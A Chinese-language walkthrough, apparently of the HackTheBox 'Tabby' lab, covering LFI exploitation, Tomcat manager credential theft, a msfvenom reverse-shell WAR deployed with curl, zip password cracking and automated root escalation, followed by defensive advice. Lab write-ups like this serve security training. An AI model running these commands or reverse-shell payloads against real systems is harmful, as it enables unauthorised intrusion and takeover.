Tabby靶机渗透测试报告：LFI漏洞利用、Tomcat文件上传与自动化提权<\/h1>

1. 信息收集<\/h2>

1.1 端口扫描<\/h3>
使用Nmap进行初始扫描：<\/p>
nmap -p- 10.10.10.194 --min-rate 1000<\/span> -sC -sV
<\/span><\/span><\/code><\/pre>扫描结果：<\/p>

22\/tcp<\/strong> - OpenSSH 8.2p1 Ubuntu 4<\/li>
80\/tcp<\/strong> - Apache httpd 2.4.41 (Ubuntu)<\/li>
8080\/tcp<\/strong> - Apache Tomcat<\/li>
<\/ul>
1.2 Web服务枚举<\/h3>
将目标IP添加到hosts文件：<\/p>
echo '10.10.10.194 megahosting.htb'<\/span> >> \/etc\/hosts
<\/span><\/span><\/code><\/pre>2. 漏洞利用<\/h2>
2.1 LFI漏洞利用<\/h3>
发现news.php<\/code>存在本地文件包含漏洞，使用pany工具进行利用：<\/p>
项目地址：<\/p>

https:\/\/github.com\/MartinxMax\/Web-crawlers-get-web-links<\/li>
https:\/\/github.com\/MartinxMax\/pany<\/li>
<\/ul>
执行命令：<\/p>
python3 pany.py -u 'http:\/\/megahosting.htb\/news.php?file=*'<\/span>
<\/span><\/span><\/code><\/pre>通过LFI漏洞获取Tomcat凭据：<\/p>
username: tomcat
password: $3cureP4s5w0rd123!
<\/code><\/pre>
2.2 Tomcat管理器利用<\/h3>
2.2.1 目录枚举<\/h4>
使用gobuster枚举Tomcat管理器路径：<\/p>
gobuster dir -u "http:\/\/10.10.10.194:8080\/manager"<\/span> -w \/usr\/share\/seclists\/Discovery\/Web-Content\/raft-small-words.txt -b 404,403 -t 50<\/span>
<\/span><\/span><\/code><\/pre>参考文档：

https:\/\/tomcat.apache.org\/tomcat-8.5-doc\/host-manager-howto.html<\/p>
2.2.2 部署反向Shell<\/h4>

生成war格式的反向shell：<\/li>
<\/ol>
msfvenom -p java\/shell_reverse_tcp lhost=<\/span>10.10.16.18 lport=<\/span>10032<\/span> -f war -o reverse.war
<\/span><\/span><\/code><\/pre>
使用curl部署war文件：<\/li>
<\/ol>
curl -u 'tomcat:$3cureP4s5w0rd123!'<\/span> http:\/\/10.10.10.194:8080\/manager\/text\/deploy?path=<\/span>\/rev --upload-file reverse.war
<\/span><\/span><\/code><\/pre>
访问部署的应用触发反向shell：<\/li>
<\/ol>
curl http:\/\/10.10.10.194:8080\/rev
<\/span><\/span><\/code><\/pre>3. 权限提升<\/h2>
3.1 获取user.txt<\/h3>
通过Tomcat shell获取user.txt：<\/p>
db89a0405cb8dc95a803de1ed1380033
<\/code><\/pre>
3.2 切换到ash用户<\/h3>
发现备份文件：<\/p>
http:\/\/megahosting.htb\/files\/16162020_backup.zip
<\/code><\/pre>
使用zip2john和john破解密码：<\/p>
zip2john 16162020_backup.zip > hash
<\/span><\/span>john --wordlist=<\/span>\/usr\/share\/wordlists\/rockyou.txt hash
<\/span><\/span><\/code><\/pre>获取密码：<\/p>
admin@it
<\/code><\/pre>
切换到ash用户：<\/p>
su ash
<\/span><\/span><\/code><\/pre>3.3 使用trp00f自动化提权<\/h3>
执行trp00f工具进行自动化提权：<\/p>
python3 trp00f.py --lhost 10.10.16.18 --lport 10022<\/span> --rhost 10.10.16.18 --rport 10090<\/span> --pkhttpport 10033<\/span> --lxhttpport 10091<\/span> --password 'admin@it'<\/span>
<\/span><\/span><\/code><\/pre>获取root.txt：<\/p>
4403dace3ed0c861a56d5725763cb5ff
<\/code><\/pre>
4. 关键工具与技术总结<\/h2>

pany工具<\/strong>：用于自动化检测和利用LFI漏洞<\/li>
Tomcat管理器利用<\/strong>：

使用text接口进行应用部署<\/li>
通过war文件上传获取反向shell<\/li>
<\/ul>
<\/li>
trp00f工具<\/strong>：自动化权限提升工具，简化提权过程<\/li>
密码破解流程<\/strong>：

zip2john提取哈希<\/li>
john进行字典破解<\/li>
<\/ul>
<\/li>
<\/ol>
5. 防御建议<\/h2>


防止LFI漏洞<\/strong>：<\/p>

避免直接使用用户输入作为文件路径<\/li>
使用白名单限制可访问的文件<\/li>
禁用危险PHP函数如include、require等<\/li>
<\/ul>
<\/li>

Tomcat安全配置<\/strong>：<\/p>

修改默认管理器路径<\/li>
使用强密码并定期更换<\/li>
限制管理界面的访问IP<\/li>
禁用text接口或启用更严格的认证<\/li>
<\/ul>
<\/li>

系统安全<\/strong>：<\/p>

定期检查备份文件权限<\/li>
监控可疑的提权行为<\/li>
保持系统和应用及时更新<\/li>
<\/ul>
<\/li>
<\/ol>